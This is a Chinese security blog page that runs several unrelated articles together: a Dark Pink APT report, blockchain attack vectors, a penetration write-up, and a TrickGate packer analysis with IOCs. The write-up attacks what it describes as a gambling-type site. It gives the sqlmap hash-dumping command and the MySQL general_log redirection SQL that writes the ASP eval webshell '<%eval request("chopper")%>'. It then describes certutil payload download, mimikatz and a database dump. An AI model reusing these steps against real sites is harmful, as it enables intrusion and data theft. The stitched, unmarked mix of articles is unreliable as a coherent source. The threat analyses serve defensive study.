Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86389494

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

長期以來,亞太地區國家一直是高級持續性威脅(APT)的重災區。最近網絡安全公司Group-IB發現了一波針對東南亞以及歐洲地區的攻擊,目前暫將其命名為Dark Pink,截止發文還沒有分析出其背後的攻擊者,因此極有可能Dark Pink是一個全新的APT組織。為研究方便,本文就將其幕後組織稱為Dark Pink APT組織。

有證據表明,“Dark Pink”活動早在2021年年中就開始了,2022年中後期激增。目前已確認的受害者包括菲律賓和馬來西亞的兩個軍事機構,柬埔寨、印度尼西亞和波斯尼亞和黑塞哥維那的政府機構,以及越南的一個宗教組織。

攻擊者正在利用一套新的戰術、技術和程序,他們利用一個自定義工具包,包括TelePowerBot、KamiKakaBot、Cucky和Ctealer信息竊取器(所有名字都被稱為Group-IB),旨在竊取政府和軍事組織網絡上的機密文件。特別值得注意的是,Dark Pink甚至有能力攻擊連接到受攻擊設備的USB設備,甚至訪問受攻擊設備上的即時通訊工具。此外,Dark Pink組織利用兩種核心技術,其中一種是DLL側加載和執行由文件類型關聯觸發的惡意內容(事件觸發執行:更改默認文件關聯)。

重要發現在2022年6月至12月期間,Dark Pink對某個目標發動了七次攻擊。

研究人員將Dark Pink的首次活動與攻擊者利用的Github賬戶聯繫在一起,首次攻擊發生在2022年6月。他們的活動在2022年的最後三個月達到頂峰,當時他們發動了四次攻擊。

Dark Pink的受害者分佈在五個亞太國家(越南、馬來西亞、印度尼西亞、柬埔寨、菲律賓)和一個歐洲國家(波黑)。攻擊對象包括軍事機構、政府和發展機構、宗教組織和一個非營利組織。

Dark Pink APT的主要目標是進行商業間諜活動,竊取文件,從受攻擊設備的麥克風中捕獲聲音,並從即時通訊工具中竊取數據。

Dark Pink最初的核心載體是針對魚叉式網絡釣魚郵件,攻擊者假扮成求職者。有證據表明,“Dark Pink”背後的組織掃描了發布空缺職位的網站,並偽裝成求職者發送了電子郵件。

幾乎所有工具都是定制,包括TelePowerBot和KamiKakaBot,以及Cucky和Ctealer竊取程序。整個調查過程中,我們只發現了一個公共工具:PowerSploit/Get-MicrophoneAudio。

Dark Pink APT使用了一種稱為事件觸發執行的罕見技術,通過更改默認文件關聯,以確保惡意TelePowerBot惡意軟件的啟動。這些特殊攻擊者利用的另一種技術是DLL側加載,他們用它來避免在初始訪問期間被發現。

攻擊者創建了一組PowerShell腳本,用於在受害者和攻擊者的基礎設施之間進行通信,其目的是橫向移動和網絡偵察。

受攻擊的基礎設施和Dark Pink背後的攻擊者之間的所有通信都基於Telegram API。

Dark PinkAPT組織實施的攻擊非常先進。他們利用複雜的自定義工具組合來攻破多個政府和軍事組織的防禦系統。首次發現是2022年6月在越南的一個宗教組織上註冊的攻擊。然而,在此之前,他們就一直很活躍,因為Group-IB研究人員發現了這些攻擊者使用的Github賬戶,其活動可以追溯到2021年年中。根據研究,由攻擊者初始化的惡意軟件可以發出命令,讓受攻擊的設備從這個特定的Github帳戶下載模塊。有趣的是,在迄今為止的整個活動期間,攻擊者似乎只使用了一個Github賬戶,這可能表明他們已經能夠在很長一段時間內不被發現。

1.png

上圖詳細顯示2021(上圖)和2022年(下圖)Dark Pink APT在Github賬戶上的活動

在2022年6月的攻擊之後,Group-IB研究人員無法將任何其他惡意活動歸因於Dark Pink。然而,這個APT組織在夏末突然活躍起來,當時Group-IB注意到2022年8月越南一家非營利組織遭受的攻擊具有6月攻擊的所有特徵。這樣,Group-IB就能夠將9月份的一次攻擊、10月份的兩次攻擊(一次成功,一次失敗)、11月份的兩次攻擊和12月份的一次攻擊統一在一起。 2022年12月8日,印度尼西亞政府組織就被攻擊了一次。

2.png

Dark Pink APT時間線和攻擊目標

攻擊鏈Dark Pink攻擊的複雜性體現在它執行了多個不同攻擊鏈。攻擊者能夠用幾種編程語言製作工具,這使他們在試圖破壞防禦基礎設施並在受害者的網絡上獲得持久性時提供了很大的靈活性。因此,我們將討論這些過程的不同步驟和階段,但需要注意的是,大部分攻擊都基於PowerShell腳本或命令,旨在啟動受攻擊網絡和攻擊者基礎設施之間的通信。

最初的訪問是通過成功的魚叉式網絡釣魚郵件實現的,這些信息包含一個短鏈接,引導受害者下載惡意ISO映像,在一個示例中,Group-IB發現該映像存儲在公共免費共享服務MediaFire上。一旦受害者下載了ISO映像,攻擊者就可以使用三個不同的攻擊鏈,我們將在下面詳細介紹。

首先引起我們注意的是,攻擊者和受害者設備之間的所有通信都是基於Telegram API的。由TelePowerBot和KamiKakaBot創建的自定義模塊旨在通過攻擊者控制的Telegram木馬讀取和執行命令。有趣的是,這些模塊是用不同的編程語言開發的。 TelePowerBot是用PowerShell腳本表示的,而KamiKakaBot則是在.NET上開發的,其中包含了竊取功能。自2021年9月以來,攻擊者一直使用相同的Telegram木馬程序。

此外,Dark Pink APT利用自定義Ctealer和Cucky從網絡瀏覽器中竊取受害者的憑據。

首次訪問Dark Pink的成功很大程度上要歸功於用於獲得初始訪問權限的魚叉式網絡釣魚郵件。在一個示例中,Group-IB能夠找到攻擊者發送的原始電子郵件。在這個示例中,攻擊者假扮成一名申請公關和傳播實習生職位的求職者。在郵件中,攻擊者提到他們在求職網站上發現了這個空缺,這可能表明攻擊者掃描了求職板,並使用這些信息創建了高度相關的釣魚電子郵件。

這些電子郵件包含一個鏈接到免費使用的文件共享網站的短URL,受害者可以從中選擇下載一個ISO映像,其中包含攻擊受害者網絡所需的所有文件。在調查過程中,研究人員發現攻擊者利用了幾個不同的ISO映像,我們還注意到這些ISO映像中包含的文件因情況而異。根據目前掌握的信息,我們堅信攻擊者會向每個受害者發送獨特的電子郵件,我們認為攻擊者可以通過電子郵件將惡意ISO鏡像作為直接附件發送給受害者。

Dark Pink APT發送的原始魚叉式釣魚郵件截圖,其中記錄了文件共享網站上ISO映像的存儲情況

魚叉式網絡釣魚郵件中發送的ISO映像包含不同數量的文件。目前,在攻擊者發送的所有ISO映像中發現了三種類型的文件:已簽名的可執行文件、非惡意的誘餌文檔(例如.doc、pdf或.jpg)和惡意DLL文件。鑑於這封電子郵件與一個職位空缺有關,我們可以假設受害者首先會尋找所謂的申請人的簡歷,簡歷通常以MS Word文檔的形式發送。然而,在Dark Pink攻擊中,攻擊者在ISO鏡像中包含一個模仿MS Word文件的.exe文件。該文件在文件名中包含“.doc”,並包含MS Word圖標,以此來迷惑受害者並認為該文件可以安全打開。

4.png

Group-IB發現一個ISO圖像中包含的五個文件的屏幕截圖。請注意,doc和.dll文件位於隱藏視圖中

如果受害者首先執行.exe文件,與.exe文件位於同一文件夾中的惡意DLL文件將自動運行。這是一種被稱為DLL側加載的攻擊者使用的技術。 DLL執行的主要功能是確保攻擊者的核心惡意軟件TelePowerBot獲得持久性。在文件執行完成之前,誘餌文件(如信件、簡歷)會顯示在受害者的屏幕上。

木馬執行和持久性目前Group-IB研究人員已完整了解了TelePowerBot或KamiKakaBot在受害者設備上啟動的過程。如上所述,包含這兩個惡意軟件之一的惡意DLL文件可以位於魚叉式網絡釣魚活動期間發送的ISO映像中。在Group-IB分析的一個案例中,攻擊者使用了一系列MS Office文檔並利用了模板注入(Template Injection),即攻擊者在初始文檔中插入指向包含惡意宏代碼的模板文檔的鏈接。在Group-IB研究人員檢查的另外兩個案例中,Dark Pink背後的攻擊者通過DLL側加載技術啟動了他們的惡意軟件。總的來說,我們發現了攻擊者利用的三個不同的攻擊鏈,我們將在下面詳細介紹它們。

攻擊鏈1:全包式ISO攻擊鏈的第一個變體導致ISO映像通過魚叉式網絡釣魚郵件發送給受害者。此ISO映像包含一個惡意DLL文件,其中包含TelePowerDropper(名稱是Group-IB定義的)。此DLL文件的主要目標是在受攻擊設備的註冊表中獲得TelePowerBot的持久性。在某些情況下,DLL文件還可以啟動攻擊者的專有竊取程序,它會解析來自受害者設備上瀏覽器的數據,並將其存儲在本地文件夾中。在初始訪問期間,攻擊者可以啟動任何類型的竊取程序。 Dark Pink可以在攻擊的所有階段發送特殊命令來下載和啟動竊取程序。

5.png

攻擊鏈1的完整示意圖

需要注意的是,在此階段DLL文件已打包。當文件啟動時,它對自己進行解密,並將控制權傳遞給自己的解壓縮版本。此外,一旦DLL文件啟動,就會創建一個互斥鎖。其中一個例子是gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5。完成此步驟後,啟動TelePowerBot的命令將添加到自動運行中。這意味著每次用戶登錄系統時,TelePowerBot都會被啟動。這可以通過通過路徑HKCU\Environment\UserInitMprLogonScript創建註冊表項來實現。新建的密鑰值如下:

6.png

上面的代碼顯示,該命令啟動了一個標準實用程序whoami,它顯示有關該設備當前用戶的信息。輸出被重定向到文件並完成執行。

此時還不知道TelePowerBot如何開始,答案的關鍵是文件擴展名.abcd。簡而言之,攻擊者使用此擴展名創建一個文件,作為名為“事件觸發執行:更改默認文件關聯”的技術的一部分。其思想是添加一個處理程序來處理註冊表項樹中無法識別的文件擴展名。這在下面的截圖中有詳細說明。

7.png

創建擴展名為.abcd的文件時運行的詳細命令截圖

上面的屏幕截圖詳細介紹了在創建具有特定擴展名.abcd的文件時觸發的PowerShell命令的一部分。 PowerShell命令存儲在base64視圖中,並且高度模糊。這些命令的結果相對簡單:讀取註冊表項、解密並啟動TelePowerBot。

攻擊鏈2:Github宏攻擊鏈的第二個變異與前一個幾乎完全相同。唯一不同的是初始階段使用的文件。在我們的分析過程中,我們發現攻擊者使用命令在打開初始ISO文件中包含的.doc時自動從Github下載包含TelePowerBot的惡意模板文檔。寫入此模板文檔的宏代碼可以確保惡意軟件的持久性。

8.png

攻擊鏈2的完整示意圖

在本例中,發送給受害者的ISO映像包含一個MS Word文檔,導致從Github自動下載包含TelePowerBot的惡意模板文檔。為了在初始訪問期間避開檢測,宏代碼被寫入模板文檔。這種技術被稱為模板注入。宏包含多個帶有字段的表單,在執行過程中,這些表單字段的值將被讀取並作為註冊表項中的值建立。

這個技巧可以幫助惡意軟件躲避檢測,因為文檔本身不包含任何惡意功能或代碼。編碼的文檔包含帶有幾個參數的表單,這些文件中包含的宏可以讀取這些值,並確保TelePowerBot在受害者的設備上具有持久性。

9.png

截圖詳細顯示了兩個包含預定義密鑰和值的表單,這些密鑰和值是由惡意宏代碼寫入到註冊表中發送給受害者的MS Word文件中。

攻擊鏈3:X(ML)標記點我們將詳細介紹的第三種也是最後一種攻擊鏈變體是Group-IB分析的最近一次Dark Pink攻擊中使用的一個,在2022年12月8日,攻擊者破壞了印度尼西亞政府機構的網絡。通過魚叉式網絡釣魚電子郵件發送給受害者的ISO映像包含誘餌文檔、已簽名的合法MS Word文件和名為KamiKakaDropper的惡意DLL。此攻擊載體的主要目標是在受攻擊的設備上持久化KamiKakaBot。在這個攻擊鏈中,XML文件位於加密視圖中誘餌文檔的末尾。與攻擊鏈1一樣,惡意DLL文件是由DLL側加載技術啟動的。一旦DLL文件啟動,啟動下一階段攻擊鏈的XML文件將從誘餌文檔中解密並保存在受攻擊的設備中。

10.png

攻擊鏈3的完整示意圖

XML文件包含MSBuild項目,該項目包含執行.NET代碼的任務。要了解有關此過程如何工作的詳細信息,請參閱以下Microsoft文檔。 NET代碼的邏輯很簡單:啟動KamiKakaBot,它本身位於XML文件(以base64格式打包和編碼)中。打開此文件後,控制權將傳遞給KamiKakaBot。

11.png

解包並啟動KakaKamiBot的XML文件內的代碼片段

XML文件的路徑在啟動MSBuild時作為參數傳遞。運行MSBuild的命令位於註冊表項(HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell)中,該註冊表項是在DLL文件執行期間創建的。完成此步驟後,每當用戶登錄到系統時,MSBuild將運行。此外,DLL創建一個可重複的任務,將受害者從系統中註銷。

區塊鏈並不像我們想像的那麼安全。儘管安全性貫穿於所有區塊鏈技術,但即使是最強大的區塊鏈也會受到現代網絡犯罪分子的攻擊。 Apriorit 專家已經分析了針對Coincheck、Verge和Bancor交易所的攻擊,這些攻擊極大地損害了區塊鏈本身的聲譽。

區塊鏈可以很好地抵抗傳統的網絡攻擊,但網絡犯罪分子正在想出專門針對區塊鏈技術的新方法。在本文中,我們描述了針對區塊鏈技術的主要攻擊媒介,並了解了迄今為止最重大的區塊鏈攻擊。

網絡犯罪分子已經設法濫用區塊鏈來執行惡意操作。如果攻擊者沒有收到加密貨幣獎勵,像WannaCry和Petya這樣的勒索軟件攻擊就不會如此大規模。現在,看起來黑客正在考慮利用區塊鏈安全漏洞作為他們的主要收入來源。

2019 年3 月,白帽黑客在短短30 天內在各種區塊鍊和加密貨幣平台中發現了43 個漏洞。他們甚至在Coinbase、EOS和Tezos等著名平台中發現了漏洞。

然而,弱點通常很難檢測到,因為它們可能隱藏在不顯眼的地方。例如,Parity 多重簽名錢包是通過破壞其中具有提取功能的庫而被黑客入侵的。攻擊者設法將庫本身初始化為錢包,並聲稱擁有它的所有者權利。結果,573 個錢包受到影響,價值3000 萬美元的加密貨幣被盜,另外被白帽黑客組織救出的1.8 億美元後來歸還給了合法所有者。

通過攻擊比特幣和以太坊等龐大的網絡,網絡犯罪分子表明他們足夠聰明,可以反駁區塊鏈安全的神話。讓我們考慮五個最常見的區塊鏈攻擊向量:

image.png

五個區塊鏈攻擊向量

1.區塊鍊網絡攻擊區塊鍊網絡包括創建和運行交易並提供其他服務的節點。例如,比特幣網絡由發送和接收交易的節點以及將批准的交易添加到區塊的礦工組成。網絡罪犯尋找網絡漏洞並通過以下類型的攻擊利用它們。

分佈式拒絕服務分佈式拒絕服務(DDoS) 攻擊很難在區塊鍊網絡上執行,但它們是可能的。

當使用DDoS 攻擊區塊鍊網絡時,黑客打算通過大量請求消耗其所有處理資源來關閉服務器。 DDoS 攻擊者旨在斷開網絡的礦池、電子錢包、加密貨幣交易所和其他金融服務。區塊鏈也可以使用DDoS 殭屍網絡在其應用程序層受到DDoS 攻擊。

2017 年,Bitfinex 遭受了大規模的DDoS 攻擊。這對IOTA 基金會來說尤其不方便,IOTA 基金會在Bitfinex 通知用戶此次攻擊的前一天就在平台上發布了他們的IOTA 代幣。三年後,即2020 年2 月,在OKEx 加密貨幣交易所注意到類似攻擊的一天后, Bitfinex又經歷了一次DDoS 攻擊。

交易延展性攻擊交易延展性攻擊旨在誘使受害者支付兩次。在比特幣網絡中,每筆交易都有一個散列,即交易ID。如果攻擊者設法更改交易的ID,他們可以嘗試將更改後的哈希值的交易廣播到網絡,並在原始交易之前確認它。如果成功,發送方將認為初始交易失敗,而資金仍將從發送方的賬戶中提取。如果發件人重複交易,相同的金額將被扣除兩次。一旦這兩筆交易被礦工確認,這次黑客攻擊就成功了。

比特幣交易所Mt. Gox在2014 年因延展性攻擊而破產。然而,比特幣似乎通過引入隔離見證(SegWit) 流程解決了這個問題,該流程將簽名數據與比特幣交易分開,並用對每個簽名的不可延展的哈希承諾。

時間劫持時間劫持利用了比特幣時間戳處理中的一個理論漏洞。在時間劫持攻擊期間,黑客更改節點的網絡時間計數器並強制節點接受替代區塊鏈。當惡意用戶使用不准確的時間戳將多個虛假對等點添加到網絡時,就可以實現這一點。但是,可以通過限制接受時間範圍或使用節點的系統時間來防止時間劫持攻擊。

路由攻擊路由攻擊可以影響單個節點和整個網絡。這種黑客攻擊的想法是在將交易推送給同行之前篡改交易。其他節點幾乎不可能檢測到這種篡改,因為黑客將網絡劃分為無法相互通信的分區。路由攻擊實際上包括兩個獨立的攻擊:

分區攻擊,將網絡節點分成不同的組

延遲攻擊,篡改傳播消息並將它們發送到網絡

女巫攻擊通過將多個標識符分配給同一節點來安排女巫攻擊。區塊鍊網絡沒有可信節點,每個請求都會發送到多個節點。

image.png

圖1. 女巫攻擊

在Sybil 攻擊期間,黑客控制了網絡中的多個節點。然後受害者被關閉所有交易的假節點包圍。最後,受害者對雙花攻擊持開放態度。 Sybil 攻擊很難檢測和預防,但以下措施可能有效:增加創建新身份的成本,需要某種類型的信任才能加入網絡,或根據聲譽確定用戶權力。

蝕攻擊eclipse 攻擊需要黑客控制大量IP 地址或擁有分佈式殭屍網絡。然後攻擊者覆蓋受害者節點“已嘗試”表中的地址並等待受害者節點重新啟動。重啟後,受害者節點的所有出站連接都將被重定向到攻擊者控制的IP地址。這使得受害者無法獲得他們感興趣的交易。波士頓大學的研究人員對以太坊網絡發起了一次日食攻擊,並設法僅使用一兩台機器就完成了攻擊。

對權益證明網絡的遠程攻擊遠程攻擊針對使用股權證明(PoS) 共識算法的網絡,在該算法中,用戶可以根據持有的硬幣數量來挖掘或驗證區塊交易。

這些攻擊可以分為三類:

簡單- 當節點不檢查塊時間戳時,權益證明協議的簡單實現

事後腐敗——試圖在給定時間範圍內鑄造比主鏈更多的區塊

Stake bleeding——將交易從誠實維護的區塊鏈複製到攻擊者維護的私有區塊鏈

在進行遠程攻擊時,黑客使用購買或竊取的私鑰,該私鑰具有相當大的代幣餘額,該私鑰過去已經用於驗證。然後,黑客可以生成區塊鏈的替代歷史並根據PoS 驗證增加獎勵。

2. 用戶錢包攻擊實際上,在人們與它們互動之前,區塊鍊和網絡安全就像鹽和胡椒一樣在一起。這聽起來可能令人驚訝,但區塊鏈用戶構成了最大的安全威脅。人們了解區塊鏈在網絡安全中的用途,往往會高估區塊鏈的安全性而忽視其弱點。用戶錢包憑證是網絡犯罪分子的主要目標。

為了獲取錢包憑證,黑客嘗試使用網絡釣魚和字典攻擊等傳統方法以及尋找加密算法弱點等新的複雜方法。以下是攻擊用戶錢包的最常見方法的概述。

網絡釣魚2018 年,IOTA 錢包發起了一次攻擊,發起人是iotaseed.io(現已下線),這是一個虛假的在線種子生成器。黑客利用這項服務進行了網絡釣魚活動,並收集了帶有秘密種子的日誌。結果,2018 年1 月,黑客成功從受害者的錢包中竊取了價值超過400 萬美元的IOTA。

字典攻擊在這些攻擊中,黑客試圖通過嘗試普通密碼(如password1)的哈希值來破解受害者的加密哈希和鹽。通過將明文密碼轉換為加密哈希,攻擊者可以找到錢包憑證。

易受攻擊的簽名區塊鍊網絡使用各種加密算法來創建用戶簽名,但它們也可能存在漏洞。例如,比特幣使用ECDSA 密碼算法自動生成唯一的私鑰。然而,看起來ECDSA 的熵不足,這可能導致多個簽名中出現相同的隨機值。 IOTA 還面臨著其舊的Curl 哈希函數的密碼學問題。

有缺陷的密鑰生成利用密鑰生成中的漏洞,被稱為Johoe 的黑客在2014 年12 月獲得了Blockchain.info 提供的私鑰。這次攻擊的發生是由於代碼更新期間出現的錯誤導致生成公共輸入的隨機性差用戶密鑰。儘管此漏洞很快得到緩解,但ECDSA 算法仍然可能存在該漏洞。

對冷錢包的攻擊硬件錢包或冷錢包也可能被黑客入侵。例如,研究人員利用Nano S Ledger 錢包中的漏洞發起了Evil Maid 攻擊。由於這次黑客攻擊,研究人員獲得了私鑰以及受害者的PIN、恢復種子和密碼。

最近的一次冷錢包攻擊發生在2019 年,當時UPbit加密貨幣交易所正在將資金轉移到冷錢包。當您預計會受到網絡攻擊時,這是凍結加密貨幣的常用方法。黑客設法竊取了342,000 ETH,顯然是因為他們知道交易的時間。

對熱錢包的攻擊熱錢包是用於存儲私人加密密鑰的聯網應用程序。儘管加密貨幣交易所的所有者聲稱他們將錢包中的用戶數據與網絡斷開連接,但2018 年針對Coincheck 的5 億美元攻擊證明這並非總是如此。

2019 年6 月,對GateHub 的攻擊導致數十個原生XRP錢包的未經授權訪問和加密資產被盜。由於系統漏洞,新加坡加密貨幣交易所Bitrue也幾乎同時遭遇了熱錢包攻擊。結果,黑客設法竊取了價值超過450 萬美元的XRP 和237,500 美元的ADA 資金。

因为这个站是几个月前日的了,所以图片可能不全,也没办法再补图。

写这篇文章的时候,隔壁情侣正在鼓掌,声音贼响,导致我写的东西可能没有过一遍脑子,写的可能有点混乱。另外值得一提的是,为啥我们做安全的经常隔壁碰到这种人?

已知目标网站

c5x5u2i1vea13147.jpg

之前客户有给过这种网站,所以我记忆尤深,针对这种站一般你可以直接放弃正常测试流程了,因为经验告诉我,网站主站功能基本上很少有漏洞的,只能从旁站下手。

Ctrl+u查看一波没发现有什么存在泄漏的js,回过头发现发现网站右上角有个优惠活动大厅

omxsfjpvofc13150.jpg

打开后页面似曾相识

tyv0d4q2w4m13153.jpg

随便点开一个活动,好像可以随便提交文字,没有过滤,我信心满满输入xss,提交,然而两天过去了,并没什么叼用,我当时的心情真是像云像雾又像雨。

zi2j12x4j1513156.jpg

然而我又发现下面有个审核进度查询,打开后会让你输入用户名,既然有输入用户名,那应该就是有带入数据库查询,习惯性加了个’点击查询,10秒过去了,没响应,我懵了,输入正常不存在的账号测试,是会弹出记录的,但是加单引号查询却一点响应都没有。

F12-network抓包,发现是有发送请求的,很明显了,有注入,而且报错是页面是thinkphp,从最下角看版本是3.2.3,这个版本真的是hc的最爱,从色情到贷款平台,再到菠菜都是这个版本的thinkphp。

pnbhamds0iq13158.jpg

先注入一波试试

keft5ssvnj513162.jpg

抓包Sqlmap一波拿到了管理员账号密码,突然我意识到,我没有后台地址,拿到了也没叼用。

Fofa一波得到真实ip,发现999端口存在phpmyadmin服务,6588有一个标题为护卫神丶主机大师的asp站。目录爆破,端口扫描,子域名挖掘,都没有找到后台地址。

kfphc3duppm13165.jpg

Os-shell成功,但是不管我输入什么都没反应。

Sql-shell也一样,仔细观察发现,网站路径是装在护卫神的。

f0blqlfag0q13168.jpg

有可能是护卫神拦截了,当时我还疑惑,这php的站,你用护卫神是什么意思。

等到十分钟后百度了一下hwshostmaster,我才知道我是多么无知,原来护卫神不是光有waf,他还有一个叫主机大师的服务,大概功能与phpstudy相同。

本地安装观察,发现主机大师默认安装后会在999端口启动phpmyadmin,6588端口则启动主机大师默认的管理页面,与我观察的目标ip端口一致。

phzh4bkjs4y13173.jpg

既然目标站有phpmyadmin,那我就可以尝试使用sqlmap枚举一下对方数据库账号与密码hash。

Sqlmap –r sql.txt --string="Surname" --users --password

Sqlmap枚举出来了root与test,root的密码没有破解出来,但是test的密码破解出来为1234。登陆成功。

qy5t550d2u113176.jpg

关于这种情况拿shell,木神的黑白天公众号里有篇文章<phpMyAdmin 渗透利用总结

>已经写的很详细了,木神看到这篇文章麻烦找我结一下广告费。

mysql数据库getshell一般有两种方法,into outfile,导出日志。

根据注入报错页面的文件地址

fxqjdpl20vr13180.jpg

构造语句
select 1 into outfile 'D:/wwwroot/xxx.com/web/1.txt'
报错#1 - Can't create/write to file应该是没有权限

ecn4phtcxqw13184.jpg

尝试使用日志写入,先开启日志,然后

set global  general_log_file =" D:\\wwwroot\\xxx.com\\web\\a.php"
好像还是不行,我裂开了。

43ihub54ays13188.jpg

突然我想到,既然这个wwwroot目录没有权限,那么护卫神主机大师管理页面是否可以利用一下呢 ,翻了一下本地安装的主机大师文件,可以确认主机大师的管理页面绝对路径是D:\Hws.com\HwsHostMaster\host\web,尝试修改日志

Set global  general_log_file =" D:\\Hws.com\\HwsHostMaster\\host\\web\\1.asp"
成功。

jg12riu2cfb13192.jpg

然后执行
select “<%eval request("chopper")%>”

访问http://xxx.xxx.xxx.xxx:6588/1.asp报错404,这个问题难了我好久,后来我才发现,需要把日志文件换成其他的,当前日志文件才可以访问。Cknife连接成功

qtrcvufozre13196.jpg

Whoami发现是system权限,那么剩下的就简单了,为了防止护卫神查杀,生成了个msf免杀马,通过certutil下载,然后执行,msf上线,然后迁移进程,load mimikatz,一套下来拿到了远程账号密码,脱裤打包源码,提交给客户,完事。

总结:1.主站无任何漏洞,对旁站下手,这里从优惠活动资助大厅,发现有注册页面,可尝试嵌套在线xss脚本获取管理员cookie信息,但并没有获取到 cookie2.在审核进度查询出,输入真实存在的用户名加单引号,发现页面没有相应,F12发现,有页面报错,是thinkphp,版本为3.2.33.通过sqlmap进行注入,获取到用的hash值,这里获取到root和test的hash值,能解密出test的hash值。Sqlmap –r sql.txt --string="Surname" --users --password4.通过fofa查询目标网站对应的IP的其他端口,发现存在999和6588端口,其中999位phpmyadmin端口,6588位护卫神管理界面。5.通过test进入phpmyadmin后台,又根据注入报错显示的网站物理路径,这里可以通过into out导入方法写入webshell6.首先写入到web目录下,显示没有权限select 1 into outfile 'D:/wwwroot/xxx.com/web/1.txt'7.开启log日志,发现还是失败set global  general_log_file =" D:\\wwwroot\\xxx.com\\web\\a.php"8.既然wwwroot目录没有权限,那么护卫神主机大师管理页面是否可以利用一下呢 ,翻了一下本地安装的主机大师文件,可以确认主机大师的管理页面绝对路径是D:\Hws.com\HwsHostMaster\host\web,尝试修改日志Set global  general_log_file =" D:\\Hws.com\\HwsHostMaster\\host\\web\\1.asp"9.然后执行select “<%eval request("chopper")%>”10.通过knife成功连接


转自原文连接: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486068&idx=2&sn=4e32251aaf8c25efee653b3314a05a29&chksm=cfa6ae67f8d127715b23c7b8403a08ccfac2e1bff2ac68030401d54698bcb10cd637a55f7d15&scene=178&cur_album_id=1553386251775492098#rd

TrickGate最初於2016年7月被發現,這種基於外殼代碼(shellcode)的打包器(packer)作為一項服務來提供,用於隱藏惡意軟件以免被端點檢測和響應(EDR)以及殺毒軟件發現。

在過去六年間,TrickGate 被用來部署最臭名昭著的惡意軟件,比如Cerber、Trickbot、Maze、Emotet、REvil、Cobalt Strike、AZORult、Formbook和AgentTesla 等。

由於定期會改頭換面,TrickGate多年來一直沒有被人注意。這個特徵導致研究界通過眾多屬性和名稱來識別其身份。

雖然該打包器的包裝程序會不斷變化,但TrickGate外殼代碼中的主要構建模塊至今仍在使用中。

Check Point 的威脅模擬(Threat Emulation)解決方案成功檢測並阻止了TrickGate打包器。

介紹網絡犯罪分子日益依賴打包器來執行惡意活動。該打包器在黑客論壇上又叫Crypter(加密器)和FUD,使殺毒軟件更難檢測到惡意代碼。通過使用打包器,惡意分子可以更輕鬆地傳播惡意軟件,而影響更小。商業打包器即服務的主要特徵之一是,它不關心攻擊載荷是什麼,這意味著它可以用來打包許多不同的惡意樣本。該打包器的另一個重要特徵是它能改頭換面——該打包器的包裝程序會定期改變,因此不被安全產品發現。

TrickGate是一種典型的功能強大且有彈性的打包器即服務,多年來沒有被網絡安全產品所發現,並以不同的方式不斷改進自己。我們設法追查到了TrickGate的下落,儘管它會迅速改變外層的包裝程序。

TrickGate堪稱偽裝高手,因不同的屬性而被賦予了許多名稱。名稱包括TrickGate、Emotet的打包器、新的加載器、Loncom和基於NSIS的加密器等。我們聯繫了之前的研究成果,基本上確定這起活動似乎是作為一項服務來提供的。

TrickGate歷年來的活動我們首次觀察到TrickGate是在2016年底。當時,它被用來傳播Cerber勒索軟件。從那時起,我們一直在觀察TrickGate,發現它被用來傳播所有類型的惡意軟件工具,比如勒索軟件、RAT、信息竊取器、銀行木馬和挖幣軟件。我們注意到,許多高級持續性威脅(APT)組織和威脅分子經常使用TrickGate來包裝惡意代碼,以免被安全產品檢測出來。 TrickGate參與了包裝一些最臭名昭著的惡意軟件家族的活動,比如Cerber、Trickbot、Maze、Emotet、REvil、CoinMiner、Cobalt Strike、DarkVNC、BuerLoader、HawkEye、NetWire、AZORult、Formbook、Remcos、Lokibot和AgentTesla等。

1.png

圖1. TrickGate歷年來的活動

TrickGate的分佈在過去兩年裡,我們每週監測到40次到650次攻擊。據我們的遙測數據顯示,使用TrickGate的威脅分子主要攻擊製造業,但也攻擊教育設施、醫療保健、金融和商業企業。 這些攻擊遍布全球各地,越來越集中在中國台灣和土耳其。近兩個月使用TrickGate的最盛行的惡意軟件家族是Formbook,佔跟踪分佈總量的42%。

2.png

圖2. 2022年10月至11月期間的TrickGate統計數據

攻擊流程下面概述了涉及TrickGate的攻擊中常見的攻擊流程。

初始訪問打包器用戶進行的初始訪問可能會有很大差異。我們監測的打包樣本主要通過帶有惡意附件的網絡釣魚電子郵件來傳播,但也通過惡意鏈接來傳播。

初始文件第一階段主要以壓縮可執行文件的形式出現,但我們監測後發現了導致相同外殼代碼的許多文件類型和傳播手段。我們在第一階段觀察到以下文件類型:

壓縮文件:7Z、ACE、ARJ、BZ、BZ2、CAB、GZ、IMG、ISO、IZH、LHA、LZ、LZH、R00、RAR、TAR、TGZ、UU、 UUE、XZ、Z、ZIP、ZIPX、ZST。

可執行文件:BAT、CMD、COM、EXE、LNK、PIF、SCR。

文檔:DOC、DOCX、PDF、XLL、XLS、XLSX、RTF。

外殼代碼加載器第二階段是外殼代碼加載器,它負責解密和運行外殼代碼。

我們注意到三種不同類型的代碼語言用於外殼代碼加載器。 NSIS腳本、AutoIT腳本和C都實現了類似的功能。

外殼代碼外殼代碼是打包器的核心。它負責解密攻擊載荷,並將載荷悄悄注入到新進程中。

攻擊載荷攻擊載荷是實際的惡意代碼,負責執行預期的惡意活動。攻擊載荷因使用打包器的威脅分子而異。

3.png

圖3. 攻擊流程

我們在過去一年觀察到的不同攻擊流程的示例:

2022年2月24日

4.png

圖4. LNK攻擊流程

RAR:3f5758da2f4469810958714faed747b2309142ae

LNK:bba7c7e6b4cb113b8f8652d67ce3592901b18a74

URL:jardinaix[.]fr/w.exe

EXE:63205c7b5c84296478f1ad7d335aa06b8b7da536

2022年3月10日

5.png

圖5. PDF攻擊流程

PDF:08a9cf364796b483327fb76335f166fe4bf7c581

XLSX:36b7140f0b5673d03c059a35c10e96e0ef3d429a

URL:192.227.196[.]211/t.wirr/XLD.exe

EXE:386e4686dd27b82e4cabca7a099fef08b000de81

2022年10月3日

6.png

圖6. SFX攻擊流程

7Z:fac7a9d4c7d74eea7ed87d2ac5fedad08cf1d50a

EXE:3437ea9b7592a4a05077028d54ef8ad194b45d2f

2022年11月15日

7.png

圖7. AutoIT攻擊流程

R11:755ee43ae80421c80abfab5481d44615784e76da

EXE:666c5b23521c1491adeeee26716a1794b09080ec

